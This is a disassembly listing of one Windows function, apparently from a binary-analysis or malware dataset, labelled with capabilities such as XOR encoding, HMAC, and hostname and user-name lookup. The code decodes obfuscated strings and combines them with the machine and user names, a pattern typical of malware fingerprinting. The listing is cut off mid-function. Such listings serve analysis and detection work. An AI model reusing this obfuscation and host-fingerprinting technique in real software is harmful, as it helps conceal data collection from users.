Function at 0x40f670
Capabilities:
Authenticate hmac
Create thread
Encode data using xor
Get hostname
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x432887
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x440
movups xmm0, xmmword [str.v_fkmJ_IOa_____]
mov al, byte [0x433e74]
xor edx, edx
push ebx
movups xmmword [ebp - 0x250], xmm0
push esi
movups xmm0, xmmword [str._2_____]
push edi
mov edi, dword [0x444660]
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x218], al
mov dword [ebp - 0x28], edx
movups xmmword [ebp - 0x240], xmm0
movups xmm0, xmmword [0x433e5c]
movups xmmword [ebp - 0x230], xmm0
movq xmm0, qword [0x433e6c]
movq qword [ebp - 0x220], xmm0
cmp edi, 2
jl 0x40f850
movaps xmm0, xmmword [0x434000]
mov esi, 4
movaps xmm4, xmmword [0x433330]
movaps xmm3, xmmword [0x4336b0]
movaps xmm6, xmmword [str.2222]
movd xmm5, esi
mov esi, 0x1f
movaps xmmword [ebp - 0x1c0], xmm0
mov ecx, dword [ebp - 0x1c0]
movd xmm7, esi
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x250]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x250], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x24c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x24c], xmm1
add edx, 8
cmp edx, 0x38
jl 0x40f740
mov dword [ebp - 0x28], edx
cmp edx, 0x39
jge 0x40f881
nop dword [eax + eax]
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x28]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x250], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 0x39
jl 0x40f850
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x12c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x128], 0xf
mov byte [ebp - 0x13c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f8b0
sub ecx, edx
lea eax, [ebp - 0x250]
push ecx
push eax
lea ecx, [ebp - 0x13c]
call fcn.00401fa0
cmp dword [ebp - 0x128], 0x10
lea eax, [ebp - 0x13c]
push 1
cmovae eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x408]
push 0x40
push 1
push eax
mov dword [ebp - 4], 0
call fcn.0040ccd0
mov eax, dword [ebp - 0x408]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x408]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x40c], eax
mov eax, dword [ebp - 0x408]
mov eax, dword [eax + 4]
mov esi, dword [ebp + eax - 0x3fc]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x408]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x40c], eax
lea ecx, [ebp - 0x3f8]
call fcn.00402fc0
mov eax, dword [ebp - 0x408]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x408]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x40c], eax
lea eax, [ebp - 0x398]
mov byte [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00413707
mov edx, dword [ebp - 0x128]
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp edx, 0x10
jb 0x40f9de
mov ecx, dword [ebp - 0x13c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f9d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412cf6
push edx
push ecx
call fcn.0041414e
add esp, 8
test esi, esi
jne 0x40f9f8
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00407ab0
push 4
call fcn.0041411e
add esp, 4
test eax, eax
je 0x40fa13
mov dword [eax], 0x408ee0
jmp 0x40fa15
xor eax, eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 4], 2
push ecx
push 0
push eax
push 0x40cab0
push 0
push 0
call fcn.0041c2f2
add esp, 0x18
mov dword [ebp - 0x2d8], eax
test eax, eax
je 0x412ce5
lea eax, [ebp - 0x420]
mov dword [ebp - 4], 3
push eax
call fcn.0040d5b0
add esp, 4
lea eax, [ebp - 0xa4]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x258]
mov dword [ebp - 0xa4], 0x41
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x1fc], 0xf
test eax, eax
je 0x40fad0
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x200], 0
mov byte [ebp - 0x210], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fab2
sub ecx, edx
lea eax, [ebp - 0x258]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.00401fa0
jmp 0x40faf9
mov ax, word [0x433e28]
mov word [ebp - 0x210], ax
mov al, byte [0x433e2a]
mov dword [ebp - 0x200], 3
mov byte [ebp - 0x20e], al
mov byte [ebp - 0x20d], 0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x50], 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x128], 0xf
test eax, eax
je 0x40fb5c
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x12c], 0
mov byte [ebp - 0x13c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fb41
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x13c]
call fcn.00401fa0
jmp 0x40fb85
mov ax, word [0x433e28]
mov word [ebp - 0x13c], ax
mov al, byte [0x433e2a]
mov dword [ebp - 0x12c], 3
mov byte [ebp - 0x13a], al
mov byte [ebp - 0x139], 0
cmp byte [0x433eb3], 0
movq xmm0, qword [str.eDXLYOrSZ__n_S]
mov eax, dword [0x433eb0]
mov byte [ebp - 4], 6
mov dword [ebp - 0xa4], reloc.OLEAUT32.dll_SysReAllocString
movq qword [ebp - 0xc8], xmm0
mov dword [ebp - 0xc0], eax
je 0x40fd11
xor edx, edx
mov dword [ebp - 0x28], edx
cmp edi, 2
jl 0x40fce0
movaps xmm2, xmmword [0x433330]
mov ecx, 4
movaps xmm4, xmmword [0x4336b0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov eax, dword [0x434000]
movd xmm5, ecx
mov ecx, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x28], edx
movaps xmm0, xmm1
movd xmm6, ecx
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x433340]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.eDXLYOrSZ__n_S]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xc8], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0xc4]
pxor xmm1, xmm0
movd dword [ebp - 0xc4], xmm1
nop dword [eax + eax]
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x28]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0xc8], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 0xc
jl 0x40fce0
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xd0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd40
sub ecx, edx
lea eax, [ebp - 0xc8]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00401fa0
movups xmm0, xmmword [str.fyqlniyasV3_02e]
mov eax, dword [0x433ea0]
xor edx, edx
mov dword [ebp - 0x21c], eax
mov al, byte [0x433ea4]
mov byte [ebp - 4], 7
mov byte [ebp - 0x218], al
mov dword [ebp - 0x28], edx
movups xmmword [ebp - 0x244], xmm0
movups xmm0, xmmword [0x433e88]
movups xmmword [ebp - 0x234], xmm0
movq xmm0, qword [0x433e98]
movq qword [ebp - 0x224], xmm0
cmp edi, 2
jl 0x40ff00
movaps xmm0, xmmword [0x434000]
mov eax, 4
movaps xmm4, xmmword [0x433330]
movaps xmm3, xmmword [0x4336b0]
movaps xmm6, xmmword [str.2222]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1c0], xmm0
mov ecx, dword [ebp - 0x1c0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x244]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x244], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x240]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x240], xmm1
add edx, 8
cmp edx, 0x28
jl 0x40fdf0
mov dword [ebp - 0x28], edx
cmp edx, 0x2d
jge 0x40ff31
nop dword [eax + eax]
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x28]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x244], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 0x2d
jl 0x40ff00
lea ecx, [ebp - 0x244]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff53
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00401fa0
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x450]
push eax
call fcn.0040b7d0
add esp, 0x10
mov edx, dword [ebp - 0x38]
mov byte [ebp - 4], 0xa
cmp edx, 0x10
jb 0x40ffc9
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ffbf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412cfb
push edx
push ecx
call fcn.0041414e
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov edx, dword [ebp - 0xcc]
mov byte [ebp - 4], 0xb
cmp edx, 0x10
jb 0x410019
mov ecx, dword [ebp - 0xe0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41000f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412cfb
push edx
push ecx
call fcn.0041414e
add esp, 8
mov eax, dword [0x433edc]
xor edx, edx
mov dword [ebp - 0x10a], eax
mov ax, word [0x433ee0]
mov word [ebp - 0x106], ax
mov al, byte [0x433ee2]
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 0x104], al
mov dword [ebp - 0x28], edx
nop dword [eax]
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x28]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x10a], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 7
jl 0x410060
lea ecx, [ebp - 0x10a]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xac], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4100b8
sub ecx, edx
lea eax, [ebp - 0x10a]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.00401fa0
mov eax, dword [0x433ed4]
mov dword [ebp - 0x103], eax
mov ax, word [0x433ed8]
mov byte [ebp - 4], 0xc
mov word [ebp - 0xff], ax
test ah, ah
je 0x41012a
xor edx, edx
mov dword [ebp - 0x28], edx
nop dword [eax]
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x28]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x103], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 6
jl 0x410100
lea ecx, [ebp - 0x103]
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410150
sub ecx, edx
lea eax, [ebp - 0x103]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00401fa0
lea eax, [ebp - 0x450]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x438]
call fcn.0040cff0
mov dword [ebp - 0x50], eax
mov ecx, dword [0x433ecc]
xor edx, edx
mov dword [ebp - 0x2d], ecx
mov cl, byte [0x433ed0]
mov byte [ebp - 4], 0xe
mov byte [ebp - 0x29], cl
mov dword [ebp - 0x28], edx
nop dword [eax]
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x28]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 5
jl 0x4101a0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xe8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4101f2
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00401fa0
lea eax, [ebp - 0x13c]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x320]
call fcn.0040cff0
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x433ec4]
xor edx, edx
mov dword [ebp - 0x2d], ecx
mov cl, byte [0x433ec8]
mov byte [ebp - 4], 0x10
mov byte [ebp - 0x29], cl
mov dword [ebp - 0x28], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x28]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 5
jl 0x410242
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xd0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410294
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00401fa0
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x308]
call fcn.0040cff0
mov edi, eax
mov ecx, dword [0x433ebc]
xor edx, edx
mov dword [ebp - 0x2d], ecx
mov cl, byte [0x433ec0]
mov byte [ebp - 4], 0x12
mov byte [ebp - 0x29], cl
mov dword [ebp - 0x28], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x28]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 5
jl 0x4102e0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410326
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00401fa0
lea eax, [ebp - 0x420]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0040cff0
mov esi, eax
mov ecx, dword [0x433eb4]
xor edx, edx
mov dword [ebp - 0x2d], ecx
mov cl, byte [0x433eb8]
mov byte [ebp - 4], 0x14
mov byte [ebp - 0x29], cl
mov dword [ebp - 0x28], edx
nop
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x28]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 5
jl 0x410370
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1d0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4103c2
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00401fa0
push esi
lea eax, [ebp - 0x1e0]
mov byte [ebp - 4], 0x15
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x294]
call fcn.00407200
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x16
push eax
lea eax, [ebp - 0x294]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x2d0]
call fcn.00407200
push edi
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 0x17
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c0]
call fcn.00407200
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x1c0]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x88]
call fcn.00407200
push dword [ebp - 0xa4]
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x19
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x344]
call fcn.00407200
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0x344]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x154]
call fcn.00407200
push dword [ebp - 0x50]
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 0x1b
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa0]
call fcn.00407200
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 0x1c
push eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x198]
call fcn.00407200
lea eax, [ebp - 0xbc]
mov byte [ebp - 4], 0x1d
push eax
lea eax, [ebp - 0x198]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x124]
call fcn.00407200
mov edx, dword [ebp - 0x184]
mov byte [ebp - 4], 0x1f
cmp edx, 0x10
jb 0x410522
mov ecx, dword [ebp - 0x198]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410518
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x8c]
mov byte [ebp - 4], 0x20
cmp edx, 0x10
jb 0x410560
mov ecx, dword [ebp - 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410556
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x140]
mov byte [ebp - 4], 0x21
cmp edx, 0x10
jb 0x41059e
mov ecx, dword [ebp - 0x154]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410594
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x330]
mov byte [ebp - 4], 0x22
cmp edx, 0x10
jb 0x4105dc
mov ecx, dword [ebp - 0x344]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4105d2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x74]
mov byte [ebp - 4], 0x23
cmp edx, 0x10
jb 0x410617
mov ecx, dword [ebp - 0x88]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41060d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x1ac]
mov byte [ebp - 4], 0x24
cmp edx, 0x10
jb 0x410655
mov ecx, dword [ebp - 0x1c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41064b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x2bc]
mov byte [ebp - 4], 0x25
cmp edx, 0x10
jb 0x410693
mov ecx, dword [ebp - 0x2d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410689
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x280]
mov byte [ebp - 4], 0x26
cmp edx, 0x10
jb 0x4106d1
mov ecx, dword [ebp - 0x294]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4106c7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x1cc]
mov byte [ebp - 4], 0x27
cmp edx, 0x10
jb 0x41070f
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410705
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x2dc]
mov byte [ebp - 4], 0x28
cmp edx, 0x10
jb 0x41074d
mov ecx, dword [ebp - 0x2f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410743
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
mov edx, dword [ebp - 0x38]
mov byte [ebp - 4], 0x29
cmp edx, 0x10
jb 0x4107a0
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410796
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x2f4]
mov byte [ebp - 4], 0x2a
cmp edx, 0x10
jb 0x4107de
mov ecx, dword [ebp - 0x308]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4107d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
mov edx, dword [ebp - 0xcc]
mov byte [ebp - 4], 0x2b
cmp edx, 0x10
jb 0x410837
mov ecx, dword [ebp - 0xe0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41082d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x30c]
mov byte [ebp - 4], 0x2c
cmp edx, 0x10
jb 0x410875
mov ecx, dword [ebp - 0x320]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41086b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
